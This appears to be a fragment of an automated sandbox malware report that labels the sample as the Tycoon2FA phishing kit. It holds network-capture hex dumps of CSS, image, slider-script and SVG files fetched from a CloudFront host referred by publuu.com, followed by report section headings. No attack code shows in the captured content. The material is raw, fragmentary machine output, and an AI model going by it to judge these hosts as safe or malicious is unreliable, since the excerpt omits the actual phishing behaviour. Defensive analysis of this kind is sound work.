61 72 65 61 2d 68 69 67 68 6c 69 67 68 74 2d 63 6f 6c 6f 72 29 29 7d 2e 68 6f 74 73 70 6f 74 2d 61 72 65 61 2e 61 6e Data Ascii: linear,.15s visibility linear;-webkit-tap-highlight-color:transparent}.hotspot-area-highlight{position:absolute;display:block;width:100%;height:100%;top:0;bottom:0;right:0;left:0;opacity:0;background-color:rgb(var(--area-highlight-color))}.hotspot-area.an
2025-03-26 17:36:20 UTC	16384	IN	Data Raw: 74 65 72 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 31 70 78 3b 6d 61 72 67 69 6e 3a 32 70 78 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 31 36 70 78 7d 2e 61 75 64 69 6f 43 6c 6f 73 65 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 30 20 30 7d 2e 61 75 64 69 6f 43 6c 6f 73 65 20 73 76 67 7b 66 69 6c 6c 3a 77 68 69 74 65 7d 2e 61 75 64 69 6f 43 6c 6f 73 65 3a 66 69 6c 6c 20 73 76 67 7b 66 69 6c 6c 3a 62 6c 61 63 6b 7d 61 75 64 69 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 30 20 30 7d 7d 61 75 64 69 6f 3a 3a 2d 77 65 62 6b 69 74 2d 6d 65 64 69 61 2d 63 6f 6e 74 72 6f 6c 73 7b 77 69 64 74 68 3a 69 6e 68 65 72 69 74 3b 68 65 69 67 68 74 3a 69 6e 68 65 72 69 74 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b Data Ascii: ter;padding-top:1px;margin:2px;margin-left:0;border-radius:16px}.audioClose:hover{background:0 0}.audioClose svg{fill:white}.audioClose:fill svg{fill:black}audio{background:0 0}}audio::-webkit-media-controls{width:inherit;height:inherit;position:relative;
2025-03-26 17:36:20 UTC	9748	IN	Data Raw: 50 61 67 65 3a 69 73 28 2e 2d 2d 68 61 72 64 2c 5b 64 61 74 61 2d 64 65 6e 73 69 74 79 3d 68 61 72 64 5d 29 2e 6c 61 73 74 3a 3a 62 65 66 6f 72 65 7b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 5a 28 31 38 30 64 65 67 29 7d 23 62 6f 6f 6b 3a 6e 6f 74 28 2e 6e 6f 2d 6d 61 73 6b 73 29 2e 62 6f 6f 6b 2d 64 69 72 2d 2d 72 74 6c 20 2e 50 61 67 65 3a 69 73 28 2e 2d 2d 68 61 72 64 2c 5b 64 61 74 61 2d 64 65 6e 73 69 74 79 3d 68 61 72 64 5d 29 2e 66 69 72 73 74 3a 3a 62 65 66 6f 72 65 7b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 5a 28 31 38 30 64 65 67 29 7d 2e 50 61 67 65 5b 64 61 74 61 2d 64 65 6e 73 69 74 79 3d 68 61 72 64 5d 2e 66 69 72 73 74 2e 6c 61 73 74 3a 3a 62 65 66 6f 72 65 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 50 61 67 65 2e 2d 2d 68 Data Ascii: Page:is(.--hard,[data-density=hard]).last::before{transform:rotateZ(180deg)}#book:not(.no-masks).book-dir--rtl .Page:is(.--hard,[data-density=hard]).first::before{transform:rotateZ(180deg)}.Page[data-density=hard].first.last::before{display:none}.Page.--h

Timestamp	Bytes transferred	Direction	Data
2025-03-26 17:36:20 UTC	646	OUT	GET /textures/bg_1_1280.webp HTTP/1.1 Host: dkl18tmi4r0t8.cloudfront.net Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://publuu.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 17:36:20 UTC	599	IN	HTTP/1.1 200 OK Content-Type: image/webp Content-Length: 121886 Connection: close Date: Wed, 19 Mar 2025 01:45:22 GMT Last-Modified: Tue, 29 Oct 2024 13:31:34 GMT ETag: "c25cdf5ba8d867dfb76dbfaf71439ee8" x-amz-server-side-encryption: AES256 x-amz-version-id: pbxhVu2jlREuZuOV3Usra_t_CVL6SVsP Accept-Ranges: bytes Server: AmazonS3 X-Cache: Hit from cloudfront Via: 1.1 4e1c4d133adc8d8214916eeaddd7af66.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK52-P3 X-Amz-Cf-Id: h92iinPc4ZoysDFnD-IRjf8s2M-t85DFEuj4yO9YKQHwz4RR0KruMg== Age: 661859 Cache-Control: max-age=31536000 Vary: Origin
2025-03-26 17:36:20 UTC	16384	IN	Data Raw: 52 49 46 46 16 dc 01 00 57 45 42 50 56 50 38 58 0a 00 00 00 2c 00 00 00 fe 04 00 ce 02 00 49 43 43 50 48 0c 00 00 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 01 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 Data Ascii: RIFFWEBPVP8X,ICCPHHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@d
2025-03-26 17:36:20 UTC	16384	IN	Data Raw: 81 5c 17 53 69 1d ea 71 e5 25 cf 46 93 17 4d 05 f0 4a 49 88 27 31 a3 40 de 89 b0 c3 cb 8b 73 de 96 f2 ba 3a 4c e6 7a 8f db 65 96 53 03 0a d2 c9 52 f0 a8 4d 12 06 67 35 ac 6d 21 a7 3b 57 3f c0 0d 78 06 bd 07 2b 92 a1 5b a5 4e 80 74 6e bd 96 de 1a 12 55 0c 9f 2f 31 11 66 70 7a f6 9d ec c2 c0 f2 af 0e b7 a7 44 47 f5 52 2c 87 a8 d0 d8 c8 59 17 e9 51 02 c2 4a a4 93 bc ce 16 5f f5 39 9a e1 3a 81 03 c5 c0 48 37 ea c9 f5 da 7b d8 1c 84 62 b6 ba bb 00 cf 48 36 5b 76 90 08 b0 ca e8 d4 f8 09 e9 c1 5f 9b 84 c7 0e 07 46 f6 aa ac 18 f5 ea 2b e7 bb ca 40 4e c1 bd 76 7a 76 d6 90 d7 6d 49 7e 96 98 c4 e4 5a 1a 6d 3a 02 ab 63 6d 4a 77 45 f0 60 fa fc a9 cc d8 e3 4b 2c 11 b2 2f 0c 03 f5 b0 ed 45 5e 22 dd 6b 95 a2 80 f4 d5 66 27 18 9f 09 2b fe 7a 2a 6e c9 94 e0 87 61 02 39 33 Data Ascii: \Siq%FMJI'1@s:LzeSRMg5m!;W?x+[NtnU/1fpzDGR,YQJ_9:H7{bH6[v_F+@NvzvmI~Zm:cmJwE`K,/E^"kf'+z*na93
2025-03-26 17:36:20 UTC	3028	IN	Data Raw: ac 9e 51 3f 6c b4 4f 38 76 7d 11 6e 14 14 b5 7c 87 e2 43 fb 8c bc b2 e8 8f dd 1f 17 9e b2 5f a8 52 de ec fb c1 ce 56 08 87 5d a9 95 bf 40 15 7e 0e 69 2f 91 e9 3d e9 78 d6 04 ca c4 13 ec 72 b9 7f 9a 51 07 47 82 6c e8 2c 6d 47 8e 33 93 85 83 36 8a 0a ce ba 20 c1 c8 96 b5 b7 0d c4 61 b2 be 6a 3c 78 6d a1 d0 e6 27 da 65 5a af e6 57 e1 8f 90 63 c3 f7 dd 9f b0 fb 7b 7b d2 b6 38 26 82 03 c7 fc af fb 7f 4a ff 2f c6 fc ba 21 02 2b 58 19 2d 00 fb 8e aa 52 65 89 89 82 94 50 58 f3 7b 5b fe 97 60 20 f2 11 34 32 16 4c 0a f6 2e 70 31 9e 9f 5a 90 d9 f0 e9 bc 7d 59 66 14 8b d0 a3 15 ef 47 38 55 02 55 9f ac 57 c9 d1 b9 e7 ae 28 37 75 2f 35 4e 4f 0e 3c 59 3a 9b e0 ab dc 36 23 63 f1 a5 8e 23 5d c0 f7 3b 77 f7 7a 98 52 86 28 1a 43 86 87 9a fd 97 76 8a 23 3d 72 32 4a 60 e0 e5 Data Ascii: Q?lO8v}n\|C_RV]@~i/=xrQGl,mG36 aj<xm'eZWc{{8&J/!+X-RePX{[` 42L.p1Z}YfG8UUW(7u/5NO<Y:6#c#];wzR(Cv#=r2J`
2025-03-26 17:36:20 UTC	16384	IN	Data Raw: ea 05 07 8c 75 6b b0 a3 6b 29 b4 9a fa 8c ed eb 84 e5 2e 48 44 9d be 37 f0 6e 7c 88 a8 93 5f 05 36 6d d7 5b 07 f1 78 22 6a fa 38 1b d1 a5 00 95 54 dd c6 89 a6 58 f0 ce 01 51 44 03 c9 38 56 69 8f 72 c4 17 26 65 06 8c ba f2 be 22 fc 59 65 c9 96 d6 d3 22 ba 0d 2f 01 10 16 64 4b bd d6 95 f4 7c 46 30 b4 8e 5f 3b 6c 6b 06 f2 d0 57 49 93 e9 6d 42 47 8f c4 1b 2b a8 10 1f c1 e7 81 73 c5 93 27 20 c1 17 6d 91 6f 59 b8 90 ba fd 5a b6 8f 4e b7 79 d4 8f 8c 6a 1a ff d8 2d c0 24 33 8c 37 01 d9 f1 b1 41 8c 64 5e 22 09 78 12 63 c7 df ac d3 d4 3e 25 40 d9 d1 4d 65 e4 70 58 77 98 ef 48 81 71 42 84 0f e4 d3 00 00 1d b5 d0 84 d7 81 e7 9b cd f5 5c ba b8 10 34 f0 78 47 b5 a3 ae ab db 12 f0 39 08 0f 71 1c 1f 4a a4 6d 3f 7f 0e 60 8a 0d b2 13 9e b7 ba bf f1 77 a2 c8 3f 9d 56 be 71 Data Ascii: ukk).HD7n\|_6m[x"j8TXQD8Vir&e"Ye"/dK\|F0_;lkWImBG+s' moYZNyj-$37Ad^"xc>%@MepXwHqB\4xG9qJm?`w?Vq
2025-03-26 17:36:20 UTC	8949	IN	Data Raw: 63 6d 30 7d d0 02 c4 ee 85 8e 1e a7 47 87 b0 5d b2 0e a1 21 8e de 77 ab f2 14 84 dc 8f c1 5f 44 f5 7a 68 d2 d3 0d b0 22 b3 31 91 e3 5d 1e 10 ef f7 b1 49 0c 4f e6 04 42 9a bb 21 10 55 32 dc 05 6e 7c e6 af 3f 87 45 12 5a 34 e1 14 96 50 03 b3 37 64 df 5b 8b 79 8d 7a 31 4d 95 96 33 51 8e 2d ac 0a f6 a8 6e a9 5e 54 e3 67 50 cc 17 58 dc 1c fe 0b 9f a9 d5 d8 59 ec 4d a9 19 cb 16 43 20 b9 c9 37 ba 58 d5 83 13 a4 57 44 83 fe 9c 1d d7 ff 3d 03 ec e2 fa df a3 11 b1 db d1 7f 7d ec 83 30 43 15 b8 4e ab dd 75 7f 65 71 e0 3e a1 da ff 9d 7f 14 a1 90 cf c0 24 50 9b 6b 04 2e 13 21 4b 06 b7 1a 03 02 96 5e 1b 0d b6 7f de 46 d4 0d eb 87 92 fd 6c 03 0f 75 23 77 54 4d bb 9f 6b c6 c8 4a 28 11 22 4a 3d da 23 25 eb 7c 08 ef 44 d2 7b 99 ba 6d 93 7c de 4a cb 24 0f 20 06 74 21 34 60 Data Ascii: cm0}G]!w_Dzh"1]IOB!U2n\|?EZ4P7d[yz1M3Q-n^TgPXYMC 7XWD=}0CNueq>$Pk.!K^Flu#wTMkJ("J=#%\|D{m\|J$ t!4`
2025-03-26 17:36:20 UTC	16384	IN	Data Raw: 9e 4f ed 85 25 fc d3 c4 a7 a0 f2 dd aa d1 61 0c 05 f2 99 9c 24 0f 77 66 15 6b 00 a7 c7 7c 97 9e de 05 0d bf 46 87 bc 72 9a 4c 3d 67 a3 68 bd ce d1 fb c6 17 2d 8b b7 da e7 6d 45 c7 de 22 6e 42 1b 33 7d 3d cf 2e 3d 76 59 65 0a 1f 1a 38 98 9a d7 88 be 7a 82 f6 16 02 73 c5 d9 a4 11 37 f5 12 76 84 4d 44 b6 51 3f 15 35 67 61 60 af 50 9e 33 ce b7 19 6e b3 da 16 85 65 de 3c 61 14 a5 a8 ba 0b da ef 6d a6 54 c5 bf 9a 68 b9 2a 41 32 bf 03 4b 64 52 c8 ff c7 e7 21 1b 90 03 4b 8f ae 98 00 7a a6 ae 30 3d d2 2a 23 06 4c 3e 29 92 74 4e f6 e1 85 d0 bd 0f cd 40 62 c9 09 30 a3 dc 5a 58 fa d5 b8 4f 27 8d 8a 94 2d bf 4a 77 25 ee 4b 21 81 4a 08 ea 67 37 b1 38 87 06 e2 04 35 b3 10 15 c4 9a 2c 56 e9 02 94 8c 0b 20 79 60 c3 e9 93 47 2b f8 0f 6d 07 0a 05 07 6c de 3a 55 52 7b d5 36 Data Ascii: O%a$wfk\|FrL=gh-mE"nB3}=.=vYe8zs7vMDQ?5ga`P3ne<amThA2KdR!Kz0=#L>)tN@b0ZXO'-Jw%K!Jg785,V y`G+ml:UR{6
2025-03-26 17:36:20 UTC	16384	IN	Data Raw: b3 9d 16 93 6c 20 00 c9 1a ef 84 9c 24 10 57 4d 49 aa 6c 0a bb a3 b7 30 14 dc 72 60 32 1a 57 35 7b 62 84 91 98 7a c1 ba 81 fc c0 44 5f 6b 96 93 0e d4 5e 6d 9a 9e e0 ca 4d 97 41 76 d4 2c c9 db cb ba 85 3e b8 ca c6 76 13 80 d4 fd 5a 31 91 3e a8 9e 62 d1 06 11 45 71 be 66 9e 32 0d d2 a8 c2 9c aa ac 19 68 8c 44 56 b2 c0 15 d1 a9 ed 20 9d 52 20 c0 ad 37 e4 bb e2 c5 01 72 63 5b 43 b8 80 ad 70 21 d2 2d 18 79 fb fb 88 a2 d2 59 53 56 65 84 e0 79 ee 6a cf 76 5f 36 93 09 30 0b a6 26 c0 32 61 3f 11 ba 6c ae 01 a2 77 33 20 8c 8a ed 6c 39 24 73 da 24 9b cc 65 97 c1 0a 52 25 b9 74 24 cf f2 68 b9 37 b6 24 7d 1a 8a b3 01 39 e3 b4 5d 41 fd 22 85 29 53 d0 19 e3 a6 5c a9 5e 9a da 44 f7 4a 9a aa 9c 3e ce 4d ee 56 78 ad d8 9b 36 a0 90 fb e8 ec b0 2d a6 e9 c5 1e 6d 07 44 3b da Data Ascii: l $WMIl0r`2W5{bzD_k^mMAv,>vZ1>bEqf2hDV R 7rc[Cp!-yYSVeyjv_60&2a?lw3 l9$s$eR%t$h7$}9]A")S\^DJ>MVx6-mD;
2025-03-26 17:36:20 UTC	4542	IN	Data Raw: 08 ba 98 97 5e 49 c1 e2 76 41 de e5 ae 1f 2c b1 0d a4 9d 8f 92 fb 9a bf 62 79 45 50 90 ac 07 85 20 8a 3b fb 33 a4 ad f1 27 f9 0f 99 23 be 99 42 7f 5d 1d 43 35 d4 02 cf 0c 1e fb 4f 16 1a 62 cd 44 3e c4 65 f5 75 1c b8 f6 e8 f0 b0 14 19 80 5d d8 20 9c d3 af dc 38 5b f6 c6 6f 3a 98 48 36 88 ca c6 29 9a ff 51 f8 d7 bd 7d 5d cc a0 5a 3f 95 67 9c e3 d5 d2 b3 8b be e9 06 d4 45 24 b8 0a df 9f ff 70 08 1c 49 a3 72 5f 8f 4d e0 80 b7 63 16 c9 1d 2c 90 bb a8 04 07 a9 49 68 55 6e 58 7f 15 a6 cc 36 1e 59 f5 38 92 ed 3c 80 f6 0f 56 1b 99 5f 8e 25 92 56 3e ec 0c dd 96 0d df f5 5e ea 47 af f5 f3 af c6 24 61 eb 06 de 2e 3b d0 43 49 bc f5 15 18 06 a5 65 40 c8 a9 a2 31 1f 8d 00 9f 04 f0 59 3d 2d ea 13 4f b3 24 6b 50 d9 6e 88 fe 4f d7 59 cf 37 53 65 c5 35 2d d0 14 b0 41 a9 b6 Data Ascii: ^IvA,byEP ;3'#B]C5ObD>eu] 8[o:H6)Q}]Z?gE$pIr_Mc,IhUnX6Y8<V_%V>^G$a.;CIe@1Y=-O$kPnOY7Se5-A
2025-03-26 17:36:20 UTC	16384	IN	Data Raw: d7 4f 59 58 19 af 43 f6 a6 04 39 69 02 f1 f1 2f ed e3 6c b7 44 ec 46 1e f0 35 e3 fb 63 f5 2e ec 7d 17 99 ed 71 45 b1 7f bd 5c 18 73 b4 9a bc b7 f4 42 06 7c de 9c 70 9e 20 82 b8 52 98 f2 fb 51 27 b1 64 3f 6c 02 59 3c 8b ad 31 ef 0d 6a b3 0a 10 f7 74 67 7f 55 61 4e d3 57 7a 0a e4 ad 85 67 44 70 b8 fe 7d 92 bc 3e 05 ac 1d 62 9d 8d 6e c6 50 4f 1c 9b 85 7c 1e 1e 05 0e b8 1a eb b5 4c fb 10 4d cc 3d ba b7 67 96 35 e9 b7 27 9b ff 00 7c 50 07 43 59 ed 01 a1 d2 dd ad 51 2c c6 44 39 6a 5b 54 cd 03 41 62 74 24 f5 55 bb 8b d3 5c 48 98 bf 65 ac 93 97 c4 59 3e 47 9e 27 4f 7f bc 9c af 60 02 c4 8b 41 85 68 32 55 31 7b a7 60 27 9e 27 6d 04 5e fc 74 1b 46 cb d4 6a 51 c2 d6 78 b5 8c 39 68 b0 b7 f1 00 e7 fc e4 29 73 5d 40 c3 e2 4c 3a 9d 29 a6 06 6f cd 4d 3b 55 e3 fc cb 8e c7 Data Ascii: OYXC9i/lDF5c.}qE\sB\|p RQ'd?lY<1jtgUaNWzgDp}>bnPO\|LM=g5'\|PCYQ,D9j[TAbt$U\HeY>G'O`Ah2U1{`''m^tFjQx9h)s]@L:)oM;U
2025-03-26 17:36:20 UTC	7063	IN	Data Raw: 54 51 ae 21 c9 e0 3d fe df 9d 58 8c 47 05 22 e5 f0 43 7a 19 0f 75 51 cd 7a 49 be 83 84 19 2d 3c b1 81 ab 77 c1 7e e3 01 33 fb d4 79 8e 4d 46 0f 95 f5 b1 ed 25 b6 7f 8d 34 29 10 79 b9 46 de 6d 1b 93 4b 7b a0 9b df 01 af 74 e2 20 d2 34 34 46 75 00 ac b0 ee 77 2d 74 29 a5 ff 2c 05 78 aa b8 aa 36 5d f8 2e 6c 0f 34 6c 9f c1 3d 1f 1f 40 c0 2c 83 62 0a c7 bd 3d 1b 80 df d6 a6 ea 03 75 b1 a9 4d e5 d8 3a 11 9a b4 19 6c ab 81 0d e8 55 24 75 73 fa 4a 57 19 b5 33 e0 bf 02 81 29 bf 31 5a 53 e0 67 58 ce 4c d5 4a 2d f9 9b a9 b7 68 ff 88 a6 58 fd c5 03 3b 38 20 80 e4 11 b5 4e 1a c8 83 f2 c7 73 af ff 11 c3 5c 5e 1c 86 14 6e 9b eb b7 87 19 17 5b b8 bf 9c 74 6b ea 46 ba 10 9b 75 1e c3 4b 86 77 9b 27 b1 c3 4b 28 f5 38 34 2a 4e ae 97 45 04 0b 51 68 9a 7f da 61 64 d8 3b e6 fa Data Ascii: TQ!=XG"CzuQzI-<w~3yMF%4)yFmK{t 44Fuw-t),x6].l4l=@,b=uM:lU$usJW3)1ZSgXLJ-hX;8 Ns\^n[tkFuKw'K(84*NEQhad;

Timestamp	Bytes transferred	Direction	Data
2025-03-26 17:36:20 UTC	604	OUT	GET /flipbook/202503/02/assets/scripts/Ranger.js?v=1748 HTTP/1.1 Host: dkl18tmi4r0t8.cloudfront.net Connection: keep-alive Origin: https://publuu.com sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://publuu.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 17:36:20 UTC	452	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 1827 Connection: close Server: CloudFront Date: Fri, 21 Mar 2025 13:42:41 GMT Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 ef47ae4ce1b368bee741646b5277e5cc.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK52-P3 X-Amz-Cf-Id: helmkqyJ7jXPw6Q82vhOych4pt3VcYDFTNxIBrQL5SjykSlrRAVXnA== Age: 446019 Cache-Control: max-age=31536000 Access-Control-Allow-Origin: *
2025-03-26 17:36:20 UTC	1827	IN	Data Raw: 76 61 72 20 52 61 6e 67 65 72 3d 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 76 61 72 20 65 3d 74 68 69 73 2c 69 3d 7b 7d 2c 61 3d 69 73 73 65 74 28 6e 2e 6d 69 6e 29 3f 6e 2e 6d 69 6e 3a 30 2c 75 3d 69 73 73 65 74 28 6e 2e 6d 61 78 29 3f 6e 2e 6d 61 78 3a 31 30 30 2c 73 3d 6e 75 6c 6c 2c 70 3d 28 74 68 69 73 2e 72 65 6e 64 65 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 6b 65 79 73 28 69 29 2e 6c 65 6e 67 74 68 7c 7c 28 74 3d 69 73 73 65 74 28 6e 2e 76 61 6c 75 65 29 3f 6e 2e 76 61 6c 75 65 3a 30 2c 69 2e 70 61 72 65 6e 74 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 2c 69 2e 69 6e 70 75 74 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 Data Ascii: var Ranger=function(n){var e=this,i={},a=isset(n.min)?n.min:0,u=isset(n.max)?n.max:100,s=null,p=(this.render=function(){var t;return Object.keys(i).length\|\|(t=isset(n.value)?n.value:0,i.parent=document.createElement("div"),i.input=document.createElement("

Timestamp	Bytes transferred	Direction	Data
2025-03-26 17:36:20 UTC	734	OUT	GET /flipbook/202503/02/assets/images/next2_1h.svg HTTP/1.1 Host: dkl18tmi4r0t8.cloudfront.net Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://dkl18tmi4r0t8.cloudfront.net/flipbook/202503/02/assets/css/Book/xs.css?v=1748 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 17:36:20 UTC	599	IN	HTTP/1.1 200 OK Content-Type: image/svg+xml Content-Length: 729 Connection: close Date: Fri, 21 Mar 2025 10:49:23 GMT Last-Modified: Fri, 21 Mar 2025 10:28:18 GMT ETag: "e19c3d3111db8eb1a3c38b93739b3361" x-amz-server-side-encryption: AES256 x-amz-version-id: Tbo2z5vTSsJqaZha1kswuLbtwU8FUQSI Accept-Ranges: bytes Server: AmazonS3 X-Cache: Hit from cloudfront Via: 1.1 777bb716b31e5bbc92d320e733371d3a.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK52-P3 X-Amz-Cf-Id: mIGMlSUVz9eDwrei672vUOCvm4Nuc6ghXOqWLHizhqi9sSASt5kKiQ== Age: 456418 Cache-Control: max-age=31536000 Vary: Origin
2025-03-26 17:36:20 UTC	729	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 21 2d 2d 20 47 65 6e 65 72 61 74 6f 72 3a 20 41 64 6f 62 65 20 49 6c 6c 75 73 74 72 61 74 6f 72 20 32 32 2e 31 2e 30 2c 20 53 56 47 20 45 78 70 6f 72 74 20 50 6c 75 67 2d 49 6e 20 2e 20 53 56 47 20 56 65 72 73 69 6f 6e 3a 20 36 2e 30 30 20 42 75 69 6c 64 20 30 29 20 20 2d 2d 3e 0d 0a 3c 73 76 67 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 20 69 64 3d 22 57 61 72 73 74 77 61 5f 31 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 20 78 3d 22 30 70 78 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?>... Generator: Adobe Illustrator 22.1.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) --><svg version="1.1" id="Warstwa_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px"

Timestamp	Bytes transferred	Direction	Data
2025-03-26 17:36:20 UTC	734	OUT	GET /flipbook/202503/02/assets/images/prev2_1h.svg HTTP/1.1 Host: dkl18tmi4r0t8.cloudfront.net Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://dkl18tmi4r0t8.cloudfront.net/flipbook/202503/02/assets/css/Book/xs.css?v=1748 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 17:36:20 UTC	599	IN	HTTP/1.1 200 OK Content-Type: image/svg+xml Content-Length: 735 Connection: close Date: Fri, 21 Mar 2025 10:49:23 GMT Last-Modified: Fri, 21 Mar 2025 10:28:20 GMT ETag: "f890e9134112ccb2624b08864d6ab45b" x-amz-server-side-encryption: AES256 x-amz-version-id: pXJweU.E2LGiBLBFj4wVKYcllk7XJj1S Accept-Ranges: bytes Server: AmazonS3 X-Cache: Hit from cloudfront Via: 1.1 79edbcc14c21322a469003752cc30af0.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK52-P3 X-Amz-Cf-Id: u5ws8rBnRVtVMG_xvfEgHJIjUTUEDhYPv2LCnEoIXx6WOBEl3r9LnA== Age: 456418 Cache-Control: max-age=31536000 Vary: Origin
2025-03-26 17:36:20 UTC	735	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 21 2d 2d 20 47 65 6e 65 72 61 74 6f 72 3a 20 41 64 6f 62 65 20 49 6c 6c 75 73 74 72 61 74 6f 72 20 32 32 2e 31 2e 30 2c 20 53 56 47 20 45 78 70 6f 72 74 20 50 6c 75 67 2d 49 6e 20 2e 20 53 56 47 20 56 65 72 73 69 6f 6e 3a 20 36 2e 30 30 20 42 75 69 6c 64 20 30 29 20 20 2d 2d 3e 0d 0a 3c 73 76 67 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 20 69 64 3d 22 57 61 72 73 74 77 61 5f 31 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 20 78 3d 22 30 70 78 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?>... Generator: Adobe Illustrator 22.1.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) --><svg version="1.1" id="Warstwa_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px"

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Tycoon2FA

Yara Signatures

Dropped Files

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

